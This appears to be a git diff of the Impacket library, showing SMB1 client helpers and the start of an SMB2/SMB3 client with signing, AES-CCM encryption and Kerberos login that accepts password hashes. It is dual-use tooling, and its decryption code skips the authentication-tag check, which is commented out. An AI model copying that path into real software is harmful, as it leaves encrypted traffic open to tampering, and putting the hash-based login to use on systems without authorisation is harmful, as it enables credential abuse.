+            renameCmd['Parameters']['SearchAttributes'] = ATTR_SYSTEM | ATTR_HIDDEN | ATTR_DIRECTORY
+            renameCmd['Data'] = SMBRename_Data(flags = self.__flags2)
+            renameCmd['Data']['OldFileName'] = old_path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else old_path
+            renameCmd['Data']['NewFileName'] = new_path.encode('utf-16le') if self.__flags2 & SMB.FLAGS2_UNICODE else new_path
+            smb.addCommand(renameCmd)
+
+            self.sendSMB(smb)
+
+            smb = self.recvSMB()
+            if smb.isValidAnswer(SMB.SMB_COM_RENAME):
+               return 1
+            return 0
+        finally:
+            self.disconnect_tree(tid)
+
+    def writeFile(self, treeId, fileId, data, offset = 0):
+        if (self._dialects_parameters['Capabilities'] & SMB.CAP_LARGE_WRITEX) and self._SignatureEnabled is False:
+            max_buf_size = 65000
+        else:
+            max_buf_size = self._dialects_parameters['MaxBufferSize'] & ~0x3ff  # Write in multiple KB blocks
+
+        write_offset = offset
+        while 1:
+            if len(data) == 0:
+                break
+            writeData = data[:max_buf_size]
+            data = data[max_buf_size:]
+
+            smb = self.write_andx(treeId,fileId,writeData, write_offset)
+            writeResponse   = SMBCommand(smb['Data'][0])
+            writeResponseParameters = SMBWriteAndXResponse_Parameters(writeResponse['Parameters'])
+            write_offset += writeResponseParameters['Count']
+
+    def get_socket(self):
+        return self._sess.get_socket()
+
+    def send_nt_trans(self, tid, subcommand, max_param_count, setup='', param='', data=''):
+        """
+        [MS-CIFS]: 2.2.4.62.1 SMB_COM_NT_TRANSACT request.
+        :param tid:
+        :param subcommand: The transaction subcommand code
+        :param max_param_count:  This field MUST be set as specified in the subsections of Transaction subcommands.
+        :param setup: Transaction context to the server, depends on transaction subcommand.
+        :param param: Subcommand parameter bytes if any, depends on transaction subcommand.
+        :param data: Subcommand data bytes if any, depends on transaction subcommand.
+        :return: Buffer relative to requested subcommand.
+        """
+        smb_packet = NewSMBPacket()
+        smb_packet['Tid'] = tid
+        #    setup depends on NT_TRANSACT subcommands so it may be 0.
+        setup_bytes = pack('<H', setup) if setup != '' else ''
+
+        transCommand = SMBCommand(SMB.SMB_COM_NT_TRANSACT)
+        transCommand['Parameters'] = SMBNTTransaction_Parameters()
+        transCommand['Parameters']['MaxDataCount'] = self._dialects_parameters['MaxBufferSize']
+        transCommand['Parameters']['Setup'] = setup_bytes
+        transCommand['Parameters']['Function'] = subcommand
+        transCommand['Parameters']['TotalParameterCount'] = len(param)
+        transCommand['Parameters']['TotalDataCount'] = len(data)
+        transCommand['Parameters']['MaxParameterCount'] = max_param_count
+        transCommand['Parameters']['MaxSetupCount'] = 0
+
+        transCommand['Data'] = SMBNTTransaction_Data()
+
+        # SMB header size + SMB_COM_NT_TRANSACT parameters size + length of setup bytes.
+        offset = 32 + 3 + 38 + len(setup_bytes)
+        transCommand['Data']['Pad1'] = ''
+        if offset % 4 != 0:
+            transCommand['Data']['Pad1'] = '\0' * (4 - offset % 4)
+            offset += (4 - offset % 4)  # pad1 length
+
+        if len(param) > 0:
+            transCommand['Parameters']['ParameterOffset'] = offset
+        else:
+            transCommand['Parameters']['ParameterOffset'] = 0
+
+        offset += len(param)
+        transCommand['Data']['Pad2'] = ''
+        if offset % 4 != 0:
+            transCommand['Data']['Pad2'] = '\0' * (4 - offset % 4)
+            offset += (4 - offset % 4)
+
+        if len(data) > 0:
+            transCommand['Parameters']['DataOffset'] = offset
+        else:
+            transCommand['Parameters']['DataOffset'] = 0
+
+        transCommand['Parameters']['DataCount'] = len(data)
+        transCommand['Parameters']['ParameterCount'] = len(param)
+        transCommand['Data']['NT_Trans_Parameters'] = param
+        transCommand['Data']['NT_Trans_Data'] = data
+        smb_packet.addCommand(transCommand)
+
+        self.sendSMB(smb_packet)
+
+    def query_sec_info(self, tid, fid, additional_information=7):
+        """
+        [MS-CIFS]: 2.2.7.6.1
+        NT_TRANSACT_QUERY_SECURITY_DESC 0x0006
+        :param tid: valid tree id.
+        :param fid: valid file handle.
+        :param additional_information: SecurityInfoFields. default = owner + group + dacl ie. 7
+        :return: security descriptor buffer
+        """
+        self.send_nt_trans(tid, subcommand=0x0006, max_param_count=4,
+                           param=pack('<HHL', fid, 0x0000, additional_information))
+        resp = self.recvSMB()
+        if resp.isValidAnswer(SMB.SMB_COM_NT_TRANSACT):
+            nt_trans_response = SMBCommand(resp['Data'][0])
+            nt_trans_parameters = SMBNTTransactionResponse_Parameters(nt_trans_response['Parameters'])
+            # Remove Potential Prefix Padding
+            return nt_trans_response['Data'][-nt_trans_parameters['TotalDataCount']:]
+
+    def echo(self, text = '', count = 1):
+
+        smb = NewSMBPacket()
+        comEcho = SMBCommand(SMB.SMB_COM_ECHO)
+        comEcho['Parameters'] = SMBEcho_Parameters()
+        comEcho['Data']       = SMBEcho_Data()
+        comEcho['Parameters']['EchoCount'] = count
+        comEcho['Data']['Data'] = text
+        smb.addCommand(comEcho)
+
+        self.sendSMB(smb)
+
+        for i in range(count):
+            resp = self.recvSMB()
+            resp.isValidAnswer(SMB.SMB_COM_ECHO)
+        return True
+
+ERRDOS = { 1: 'Invalid function',
+           2: 'File not found',
+           3: 'Invalid directory',
+           4: 'Too many open files',
+           5: 'Access denied',
+           6: 'Invalid file handle. Please file a bug report.',
+           7: 'Memory control blocks destroyed',
+           8: 'Out of memory',
+           9: 'Invalid memory block address',
+           10: 'Invalid environment',
+           11: 'Invalid format',
+           12: 'Invalid open mode',
+           13: 'Invalid data',
+           15: 'Invalid drive',
+           16: 'Attempt to remove server\'s current directory',
+           17: 'Not the same device',
+           18: 'No files found',
+           32: 'Sharing mode conflicts detected',
+           33: 'Lock request conflicts detected',
+           80: 'File already exists'
+           }
+
+ERRSRV = { 1: 'Non-specific error',
+           2: 'Bad password',
+           4: 'Access denied',
+           5: 'Invalid tid. Please file a bug report.',
+           6: 'Invalid network name',
+           7: 'Invalid device',
+           49: 'Print queue full',
+           50: 'Print queue full',
+           51: 'EOF on print queue dump',
+           52: 'Invalid print file handle',
+           64: 'Command not recognized. Please file a bug report.',
+           65: 'Internal server error',
+           67: 'Invalid path',
+           69: 'Invalid access permissions',
+           71: 'Invalid attribute mode',
+           81: 'Server is paused',
+           82: 'Not receiving messages',
+           83: 'No room to buffer messages',
+           87: 'Too many remote user names',
+           88: 'Operation timeout',
+           89: 'Out of resources',
+           91: 'Invalid user handle. Please file a bug report.',
+           250: 'Temporarily unable to support raw mode for transfer',
+           251: 'Temporarily unable to support raw mode for transfer',
+           252: 'Continue in MPX mode',
+           65535: 'Unsupported function'
+           }
+
+ERRHRD = { 19: 'Media is write-protected',
+           20: 'Unknown unit',
+           21: 'Drive not ready',
+           22: 'Unknown command',
+           23: 'CRC error',
+           24: 'Bad request',
+           25: 'Seek error',
+           26: 'Unknown media type',
+           27: 'Sector not found',
+           28: 'Printer out of paper',
+           29: 'Write fault',
+           30: 'Read fault',
+           31: 'General failure',
+           32: 'Open conflicts with an existing open',
+           33: 'Invalid lock request',
+           34: 'Wrong disk in drive',
+           35: 'FCBs not available',
+           36: 'Sharing buffer exceeded'
+           }
diff --git a/impacket/smb3.py b/impacket/smb3.py
new file mode 100644
index 0000000..0f7e1b7
--- /dev/null
+++ b/impacket/smb3.py
@@ -0,0 +1,2010 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   [MS-SMB2] Protocol Implementation (SMB2 and SMB3)
+#   As you might see in the code, it's implemented strictly following
+#   the structures defined in the protocol specification. This may
+#   not be the most efficient way (e.g. self._Connection is the
+#   same to self._Session in the context of this library ) but
+#   it certainly helps following the document way easier.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+# ToDo:
+#   [X] Implement SMB2_CHANGE_NOTIFY
+#   [X] Implement SMB2_QUERY_INFO
+#   [X] Implement SMB2_SET_INFO
+#   [ ] Implement SMB2_OPLOCK_BREAK
+#   [X] Implement SMB3 signing
+#   [X] Implement SMB3 encryption
+#   [ ] Add more backward compatible commands from the smb.py code
+#   [ ] Fix up all the 'ToDo' comments inside the code
+#
+
+from __future__ import division
+from __future__ import print_function
+
+import socket
+import ntpath
+import random
+import string
+import struct
+from six import indexbytes, b
+from binascii import a2b_hex
+from contextlib import contextmanager
+from pyasn1.type.univ import noValue
+from Cryptodome.Cipher import AES
+
+from impacket import nmb, ntlm, uuid, crypto
+from impacket.smb3structs import *
+from impacket.nt_errors import STATUS_SUCCESS, STATUS_MORE_PROCESSING_REQUIRED, STATUS_INVALID_PARAMETER, \
+    STATUS_NO_MORE_FILES, STATUS_PENDING, STATUS_NOT_IMPLEMENTED, ERROR_MESSAGES
+from impacket.spnego import SPNEGO_NegTokenInit, TypesMech, SPNEGO_NegTokenResp, ASN1_OID, asn1encode, ASN1_AID
+from impacket.krb5.gssapi import KRB5_AP_REQ
+
+
+# For signing
+import hashlib, hmac, copy
+
+# Our random number generator
+try:
+    rand = random.SystemRandom()
+except NotImplementedError:
+    rand = random
+    pass
+
+# Structs to be used
+TREE_CONNECT = {
+    'ShareName'       : '',
+    'TreeConnectId'   : 0,
+    'Session'         : 0,
+    'IsDfsShare'      : False,
+    # If the client implements the SMB 3.0 dialect,
+    # the client MUST also implement the following
+    'IsCAShare'       : False,
+    'EncryptData'     : False,
+    'IsScaleoutShare' : False,
+    # Outside the protocol
+    'NumberOfUses'    : 0,
+}
+
+FILE = {
+    'OpenTable'       : [],
+    'LeaseKey'        : '',
+    'LeaseState'      : 0,
+    'LeaseEpoch'      : 0,
+}
+
+OPEN = {
+    'FileID'             : '',
+    'TreeConnect'        : 0,
+    'Connection'         : 0, # Not Used
+    'Oplocklevel'        : 0,
+    'Durable'            : False,
+    'FileName'           : '',
+    'ResilientHandle'    : False,
+    'LastDisconnectTime' : 0,
+    'ResilientTimeout'   : 0,
+    'OperationBuckets'   : [],
+    # If the client implements the SMB 3.0 dialect,
+    # the client MUST implement the following
+    'CreateGuid'         : '',
+    'IsPersistent'       : False,
+    'DesiredAccess'      : '',
+    'ShareMode'          : 0,
+    'CreateOption'       : '',
+    'FileAttributes'     : '',
+    'CreateDisposition'  : '',
+}
+
+REQUEST = {
+    'CancelID'     : '',
+    'Message'      : '',
+    'Timestamp'    : 0,
+}
+
+CHANNEL = {
+    'SigningKey' : '',
+    'Connection' : 0,
+}
+
+
+class SessionError(Exception):
+    def __init__( self, error = 0, packet=0):
+        Exception.__init__(self)
+        self.error = error
+        self.packet = packet
+
+    def get_error_code( self ):
+        return self.error
+
+    def get_error_packet( self ):
+        return self.packet
+
+    def __str__( self ):
+        return 'SMB SessionError: %s(%s)' % (ERROR_MESSAGES[self.error])
+
+
+class SMB3:
+    class HostnameValidationException(Exception):
+        pass
+
+    def __init__(self, remote_name, remote_host, my_name=None, host_type=nmb.TYPE_SERVER, sess_port=445, timeout=60,
+                 UDP=0, preferredDialect=None, session=None, negSessionResponse=None):
+
+        # [MS-SMB2] Section 3
+        self.RequireMessageSigning = False    #
+        self.ConnectionTable = {}
+        self.GlobalFileTable = {}
+        self.ClientGuid = ''.join([random.choice(string.ascii_letters) for i in range(16)])
+        # Only for SMB 3.0
+        self.EncryptionAlgorithmList = ['AES-CCM']
+        self.MaxDialect = []
+        self.RequireSecureNegotiate = False
+
+        # Per Transport Connection Data
+        self._Connection = {
+            # Indexed by SessionID
+            #'SessionTable'             : {},
+            # Indexed by MessageID
+            'OutstandingRequests'      : {},
+            'OutstandingResponses'     : {},    #
+            'SequenceWindow'           : 0,     #
+            'GSSNegotiateToken'        : '',    #
+            'MaxTransactSize'          : 0,     #
+            'MaxReadSize'              : 0,     #
+            'MaxWriteSize'             : 0,     #
+            'ServerGuid'               : '',    #
+            'RequireSigning'           : False, #
+            'ServerName'               : '',    #
+            # If the client implements the SMB 2.1 or SMB 3.0 dialects, it MUST
+            # also implement the following
+            'Dialect'                  : 0,    #
+            'SupportsFileLeasing'      : False, #
+            'SupportsMultiCredit'      : False, #
+            # If the client implements the SMB 3.0 dialect,
+            # it MUST also implement the following
+            'SupportsDirectoryLeasing' : False, #
+            'SupportsMultiChannel'     : False, #
+            'SupportsPersistentHandles': False, #
+            'SupportsEncryption'       : False, #
+            'ClientCapabilities'       : 0,
+            'ServerCapabilities'       : 0,    #
+            'ClientSecurityMode'       : 0,    #
+            'ServerSecurityMode'       : 0,    #
+            # Outside the protocol
+            'ServerIP'                 : '',    #
+            'ClientName'               : '',    #
+            #GSSoptions (MutualAuth and Delegate)
+            'GSSoptions'               : {},
+            'PreauthIntegrityHashValue': a2b_hex(b'0'*128)
+        }
+
+        self._Session = {
+            'SessionID'                : 0,   #
+            'TreeConnectTable'         : {},    #
+            'SessionKey'               : b'',    #
+            'SigningRequired'          : False, #
+            'Connection'               : 0,     #
+            'UserCredentials'          : '',    #
+            'OpenTable'                : {},    #
+            # If the client implements the SMB 3.0 dialect,
+            # it MUST also implement the following
+            'ChannelList'              : [],
+            'ChannelSequence'          : 0,
+            #'EncryptData'              : False,
+            'EncryptData'              : True,
+            'EncryptionKey'            : '',
+            'DecryptionKey'            : '',
+            'SigningKey'               : '',
+            'ApplicationKey'           : b'',
+            # Outside the protocol
+            'SessionFlags'             : 0,     #
+            'ServerName'               : '',    #
+            'ServerDomain'             : '',    #
+            'ServerDNSDomainName'      : '',    #
+            'ServerDNSHostName'        : '',    #
+            'ServerOS'                 : '',    #
+            'SigningActivated'         : False, #
+            'PreauthIntegrityHashValue': a2b_hex(b'0'*128),
+            'CalculatePreAuthHash'     : True,
+        }
+
+        self.SMB_PACKET = SMB2Packet
+
+        self._timeout = timeout
+        self._Connection['ServerIP'] = remote_host
+        self._NetBIOSSession = None
+        self._preferredDialect = preferredDialect
+        self._doKerberos = False
+
+        # Strict host validation - off by default
+        self._strict_hostname_validation = False
+        self._validation_allow_absent = True
+        self._accepted_hostname = ''
+
+        self.__userName = ''
+        self.__password = ''
+        self.__domain   = ''
+        self.__lmhash   = ''
+        self.__nthash   = ''
+        self.__kdc      = ''
+        self.__aesKey   = ''
+        self.__TGT      = None
+        self.__TGS      = None
+
+        if sess_port == 445 and remote_name == '*SMBSERVER':
+           self._Connection['ServerName'] = remote_host
+        else:
+           self._Connection['ServerName'] = remote_name
+
+        # This is on purpose. I'm still not convinced to do a socket.gethostname() if not specified
+        if my_name is None:
+            self._Connection['ClientName'] = ''
+        else:
+            self._Connection['ClientName'] = my_name
+
+        if session is None:
+            if not my_name:
+                # If destination port is 139 yes, there's some client disclosure
+                my_name = socket.gethostname()
+                i = my_name.find('.')
+                if i > -1:
+                    my_name = my_name[:i]
+
+            if UDP:
+                self._NetBIOSSession = nmb.NetBIOSUDPSession(my_name, self._Connection['ServerName'], remote_host, host_type, sess_port, self._timeout)
+            else:
+                self._NetBIOSSession = nmb.NetBIOSTCPSession(my_name, self._Connection['ServerName'], remote_host, host_type, sess_port, self._timeout)
+
+                self.negotiateSession(preferredDialect)
+        else:
+            self._NetBIOSSession = session
+            # We should increase the SequenceWindow since a packet was already received.
+            self._Connection['SequenceWindow'] += 1
+            # Let's negotiate again if needed (or parse the existing response) using the same connection
+            self.negotiateSession(preferredDialect, negSessionResponse)
+
+    def printStatus(self):
+        print("CONNECTION")
+        for i in list(self._Connection.items()):
+            print("%-40s : %s" % i)
+        print()
+        print("SESSION")
+        for i in list(self._Session.items()):
+            print("%-40s : %s" % i)
+
+    def __UpdateConnectionPreAuthHash(self, data):
+        from Cryptodome.Hash import SHA512
+        calculatedHash =  SHA512.new()
+        calculatedHash.update(self._Connection['PreauthIntegrityHashValue'])
+        calculatedHash.update(data)
+        self._Connection['PreauthIntegrityHashValue'] = calculatedHash.digest()
+
+    def __UpdatePreAuthHash(self, data):
+        from Cryptodome.Hash import SHA512
+        calculatedHash =  SHA512.new()
+        calculatedHash.update(self._Session['PreauthIntegrityHashValue'])
+        calculatedHash.update(data)
+        self._Session['PreauthIntegrityHashValue'] = calculatedHash.digest()
+
+    def getKerberos(self):
+        return self._doKerberos
+
+    def getServerName(self):
+        return self._Session['ServerName']
+
+    def getClientName(self):
+        return self._Session['ClientName']
+
+    def getRemoteName(self):
+        if self._Session['ServerName'] == '':
+            return self._Connection['ServerName']
+        return self._Session['ServerName']
+
+    def setRemoteName(self, name):
+        self._Session['ServerName'] = name
+        return True
+
+    def getServerIP(self):
+        return self._Connection['ServerIP']
+
+    def getServerDomain(self):
+        return self._Session['ServerDomain']
+
+    def getServerDNSDomainName(self):
+        return self._Session['ServerDNSDomainName']
+
+    def getServerDNSHostName(self):
+        return self._Session['ServerDNSHostName']
+
+    def getServerOS(self):
+        return self._Session['ServerOS']
+
+    def getServerOSMajor(self):
+        return self._Session['ServerOSMajor']
+
+    def getServerOSMinor(self):
+        return self._Session['ServerOSMinor']
+
+    def getServerOSBuild(self):
+        return self._Session['ServerOSBuild']
+
+    def isGuestSession(self):
+        return self._Session['SessionFlags'] & SMB2_SESSION_FLAG_IS_GUEST
+
+    def setTimeout(self, timeout):
+        self._timeout = timeout
+
+    @contextmanager
+    def useTimeout(self, timeout):
+        prev_timeout = self.getTimeout(timeout)
+        try:
+            yield
+        finally:
+            self.setTimeout(prev_timeout)
+
+    def getDialect(self):
+        return self._Connection['Dialect']
+
+    def signSMB(self, packet):
+        packet['Signature'] = '\x00'*16
+        if self._Connection['Dialect'] == SMB2_DIALECT_21 or self._Connection['Dialect'] == SMB2_DIALECT_002:
+            if len(self._Session['SessionKey']) > 0:
+                signature = hmac.new(self._Session['SessionKey'], packet.getData(), hashlib.sha256).digest()
+                packet['Signature'] = signature[:16]
+        else:
+            if len(self._Session['SessionKey']) > 0:
+                p = packet.getData()
+                signature = crypto.AES_CMAC(self._Session['SigningKey'], p, len(p))
+                packet['Signature'] = signature
+
+    def sendSMB(self, packet):
+        # The idea here is to receive multiple/single commands and create a compound request, and send it
+        # Should return the MessageID for later retrieval. Implement compounded related requests.
+
+        # If Connection.Dialect is equal to "3.000" and if Connection.SupportsMultiChannel or
+        # Connection.SupportsPersistentHandles is TRUE, the client MUST set ChannelSequence in the
+        # SMB2 header to Session.ChannelSequence
+
+        # Check this is not a CANCEL request. If so, don't consume sequence numbers
+        if packet['Command'] is not SMB2_CANCEL:
+            packet['MessageID'] = self._Connection['SequenceWindow']
+            self._Connection['SequenceWindow'] += 1
+        packet['SessionID'] = self._Session['SessionID']
+
+        # Default the credit charge to 1 unless set by the caller
+        if ('CreditCharge' in packet.fields) is False:
+            packet['CreditCharge'] = 1
+
+        # Standard credit request after negotiating protocol
+        if self._Connection['SequenceWindow'] > 3:
+            packet['CreditRequestResponse'] = 127
+
+        messageId = packet['MessageID']
+
+        if self._Session['SigningActivated'] is True and self._Connection['SequenceWindow'] > 2:
+            if packet['TreeID'] > 0 and (packet['TreeID'] in self._Session['TreeConnectTable']) is True:
+                if self._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] is False:
+                    packet['Flags'] = SMB2_FLAGS_SIGNED
+                    self.signSMB(packet)
+            elif packet['TreeID'] == 0:
+                packet['Flags'] = SMB2_FLAGS_SIGNED
+                self.signSMB(packet)
+
+        if packet['Command'] is SMB2_NEGOTIATE:
+            data = packet.getData()
+            self.__UpdateConnectionPreAuthHash(data)
+            self._Session['CalculatePreAuthHash'] = False
+
+        if packet['Command'] is SMB2_SESSION_SETUP:
+            self._Session['CalculatePreAuthHash'] = True
+
+        if (self._Session['SessionFlags'] & SMB2_SESSION_FLAG_ENCRYPT_DATA) or ( packet['TreeID'] != 0 and self._Session['TreeConnectTable'][packet['TreeID']]['EncryptData'] is True):
+            plainText = packet.getData()
+            transformHeader = SMB2_TRANSFORM_HEADER()
+            transformHeader['Nonce'] = ''.join([rand.choice(string.ascii_letters) for _ in range(11)])
+            transformHeader['OriginalMessageSize'] = len(plainText)
+            transformHeader['EncryptionAlgorithm'] = SMB2_ENCRYPTION_AES128_CCM
+            transformHeader['SessionID'] = self._Session['SessionID']
+            cipher = AES.new(self._Session['EncryptionKey'], AES.MODE_CCM,  b(transformHeader['Nonce']))
+            cipher.update(transformHeader.getData()[20:])
+            cipherText = cipher.encrypt(plainText)
+            transformHeader['Signature'] = cipher.digest()
+            packet = transformHeader.getData() + cipherText
+
+            self._NetBIOSSession.send_packet(packet)
+        else:
+            data = packet.getData()
+            if self._Session['CalculatePreAuthHash'] is True:
+                self.__UpdatePreAuthHash(data)
+
+            self._NetBIOSSession.send_packet(data)
+
+        return messageId
+
+    def recvSMB(self, packetID = None):
+        # First, verify we don't have the packet already
+        if packetID in self._Connection['OutstandingResponses']:
+            return self._Connection['OutstandingResponses'].pop(packetID)
+
+        data = self._NetBIOSSession.recv_packet(self._timeout)
+
+        if data.get_trailer().startswith(b'\xfdSMB'):
+            # Packet is encrypted
+            transformHeader = SMB2_TRANSFORM_HEADER(data.get_trailer())
+            cipher = AES.new(self._Session['DecryptionKey'], AES.MODE_CCM,  transformHeader['Nonce'][:11])
+            cipher.update(transformHeader.getData()[20:])
+            plainText = cipher.decrypt(data.get_trailer()[len(SMB2_TRANSFORM_HEADER()):])
+            #cipher.verify(transformHeader['Signature'])
+            packet = SMB2Packet(plainText)
+        else:
+            # In all SMB dialects for a response this field is interpreted as the Status field.
+            # This field can be set to any value. For a list of valid status codes,
+            # see [MS-ERREF] section 2.3.
+            packet = SMB2Packet(data.get_trailer())
+
+        # Loop while we receive pending requests
+        if packet['Status'] == STATUS_PENDING:
+            status = STATUS_PENDING
+            while status == STATUS_PENDING:
+                data = self._NetBIOSSession.recv_packet(self._timeout)
+                if data.get_trailer().startswith(b'\xfeSMB'):
+                    packet = SMB2Packet(data.get_trailer())
+                else:
+                    # Packet is encrypted
+                    transformHeader = SMB2_TRANSFORM_HEADER(data.get_trailer())
+                    cipher = AES.new(self._Session['DecryptionKey'], AES.MODE_CCM,  transformHeader['Nonce'][:11])
+                    cipher.update(transformHeader.getData()[20:])
+                    plainText = cipher.decrypt(data.get_trailer()[len(SMB2_TRANSFORM_HEADER()):])
+                    #cipher.verify(transformHeader['Signature'])
+                    packet = SMB2Packet(plainText)
+                status = packet['Status']
+
+        if packet['MessageID'] == packetID or packetID is None:
+            # Let's update the sequenceWindow based on the CreditsCharged
+            # In the SMB 2.0.2 dialect, this field MUST NOT be used and MUST be reserved.
+            # The sender MUST set this to 0, and the receiver MUST ignore it.
+            # In all other dialects, this field indicates the number of credits that this request consumes.
+            if self._Connection['Dialect'] > SMB2_DIALECT_002:
+                self._Connection['SequenceWindow'] += (packet['CreditCharge'] - 1)
+            return packet
+        else:
+            self._Connection['OutstandingResponses'][packet['MessageID']] = packet
+            return self.recvSMB(packetID)
+
+    def negotiateSession(self, preferredDialect = None, negSessionResponse = None):
+        # Let's store some data for later use
+        self._Connection['ClientSecurityMode'] = SMB2_NEGOTIATE_SIGNING_ENABLED
+        if self.RequireMessageSigning is True:
+            self._Connection['ClientSecurityMode'] |= SMB2_NEGOTIATE_SIGNING_REQUIRED
+        self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION
+        currentDialect = SMB2_DIALECT_WILDCARD
+
+        # Do we have a negSessionPacket already?
+        if negSessionResponse is not None:
+            # Yes, let's store the dialect answered back
+            negResp = SMB2Negotiate_Response(negSessionResponse['Data'])
+            currentDialect = negResp['DialectRevision']
+
+        if currentDialect == SMB2_DIALECT_WILDCARD:
+            # Still don't know the chosen dialect, let's send our options
+
+            packet = self.SMB_PACKET()
+            packet['Command'] = SMB2_NEGOTIATE
+            negSession = SMB2Negotiate()
+
+            negSession['SecurityMode'] = self._Connection['ClientSecurityMode']
+            negSession['Capabilities'] = self._Connection['Capabilities']
+            negSession['ClientGuid'] = self.ClientGuid
+            if preferredDialect is not None:
+                negSession['Dialects'] = [preferredDialect]
+                if preferredDialect == SMB2_DIALECT_311:
+                    # Build the Contexts
+                    contextData = SMB311ContextData()
+                    contextData['NegotiateContextOffset'] = 64+38+2
+                    contextData['NegotiateContextCount'] = 0
+                    # Add an SMB2_NEGOTIATE_CONTEXT with ContextType as SMB2_PREAUTH_INTEGRITY_CAPABILITIES
+                    # to the negotiate request as specified in section 2.2.3.1:
+                    negotiateContext = SMB2NegotiateContext()
+                    negotiateContext['ContextType'] = SMB2_PREAUTH_INTEGRITY_CAPABILITIES
+
+                    preAuthIntegrityCapabilities = SMB2PreAuthIntegrityCapabilities()
+                    preAuthIntegrityCapabilities['HashAlgorithmCount'] = 1
+                    preAuthIntegrityCapabilities['SaltLength'] = 32
+                    preAuthIntegrityCapabilities['HashAlgorithms'] = b'\x01\x00'
+                    preAuthIntegrityCapabilities['Salt'] = ''.join([rand.choice(string.ascii_letters) for _ in
+                                                                     range(preAuthIntegrityCapabilities['SaltLength'])])
+
+                    negotiateContext['Data'] = preAuthIntegrityCapabilities.getData()
+                    negotiateContext['DataLength'] = len(negotiateContext['Data'])
+                    contextData['NegotiateContextCount'] += 1
+                    pad = b'\xFF' * ((8 - (negotiateContext['DataLength'] % 8)) % 8)
+
+                    # Add an SMB2_NEGOTIATE_CONTEXT with ContextType as SMB2_ENCRYPTION_CAPABILITIES
+                    # to the negotiate request as specified in section 2.2.3.1 and initialize
+                    # the Ciphers field with the ciphers supported by the client in the order of preference.
+
+                    negotiateContext2 = SMB2NegotiateContext ()
+                    negotiateContext2['ContextType'] = SMB2_ENCRYPTION_CAPABILITIES
+
+                    encryptionCapabilities = SMB2EncryptionCapabilities()
+                    encryptionCapabilities['CipherCount'] = 1
+                    encryptionCapabilities['Ciphers'] = 1
+
+                    negotiateContext2['Data'] = encryptionCapabilities.getData()
+                    negotiateContext2['DataLength'] = len(negotiateContext2['Data'])
+                    contextData['NegotiateContextCount'] += 1
+
+                    negSession['ClientStartTime'] = contextData.getData()
+                    negSession['Padding'] = b'\xFF\xFF'
+                    # Subsequent negotiate contexts MUST appear at the first 8-byte aligned offset following the
+                    # previous negotiate context.
+                    negSession['NegotiateContextList'] = negotiateContext.getData() + pad + negotiateContext2.getData()
+
+                    # Do you want to enforce encryption? Uncomment here:
+                    #self._Connection['SupportsEncryption'] = True
+
+            else:
+                negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]
+            negSession['DialectCount'] = len(negSession['Dialects'])
+            packet['Data'] = negSession
+
+            packetID = self.sendSMB(packet)
+            ans = self.recvSMB(packetID)
+            if ans.isValidAnswer(STATUS_SUCCESS):
+                negResp = SMB2Negotiate_Response(ans['Data'])
+                if negResp['DialectRevision']  == SMB2_DIALECT_311:
+                    self.__UpdateConnectionPreAuthHash(ans.rawData)
+
+        self._Connection['MaxTransactSize']   = min(0x100000,negResp['MaxTransactSize'])
+        self._Connection['MaxReadSize']       = min(0x100000,negResp['MaxReadSize'])
+        self._Connection['MaxWriteSize']      = min(0x100000,negResp['MaxWriteSize'])
+        self._Connection['ServerGuid']        = negResp['ServerGuid']
+        self._Connection['GSSNegotiateToken'] = negResp['Buffer']
+        self._Connection['Dialect']           = negResp['DialectRevision']
+        if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED or \
+                self._Connection['Dialect'] == SMB2_DIALECT_311:
+            self._Connection['RequireSigning'] = True
+        if self._Connection['Dialect'] == SMB2_DIALECT_311:
+            # Always Sign
+            self._Connection['RequireSigning'] = True
+
+        if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:
+            self._Connection['SupportsFileLeasing'] = True
+        if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:
+            self._Connection['SupportsMultiCredit'] = True
+
+        if self._Connection['Dialect'] >= SMB2_DIALECT_30:
+            # Switching to the right packet format
+            self.SMB_PACKET = SMB3Packet
+            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:
+                self._Connection['SupportsDirectoryLeasing'] = True
+            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:
+                self._Connection['SupportsMultiChannel'] = True
+            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:
+                self._Connection['SupportsPersistentHandles'] = True
+            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:
+                self._Connection['SupportsEncryption'] = True
+
+            self._Connection['ServerCapabilities'] = negResp['Capabilities']
+            self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
+
+    def getCredentials(self):
+        return (
+            self.__userName,
+            self.__password,
+            self.__domain,
+            self.__lmhash,
+            self.__nthash,
+            self.__aesKey,
+            self.__TGT,
+            self.__TGS)
+
+    def kerberosLogin(self, user, password, domain = '', lmhash = '', nthash = '', aesKey='', kdcHost = '', TGT=None, TGS=None, mutualAuth=False):
+        # If TGT or TGS are specified, they are in the form of:
+        # TGS['KDC_REP'] = the response from the server
+        # TGS['cipher'] = the cipher used
+        # TGS['sessionKey'] = the sessionKey
+        # If we have hashes, normalize them
+        if lmhash != '' or nthash != '':
+            if len(lmhash) % 2:     lmhash = '0%s' % lmhash
+            if len(nthash) % 2:     nthash = '0%s' % nthash
+            try: # just in case they were converted already
+                lmhash = a2b_hex(lmhash)
+                nthash = a2b_hex(nthash)
+            except:
+                pass
+
+        self.__userName = user
+        self.__password = password
+        self.__domain   = domain
+        self.__lmhash   = lmhash
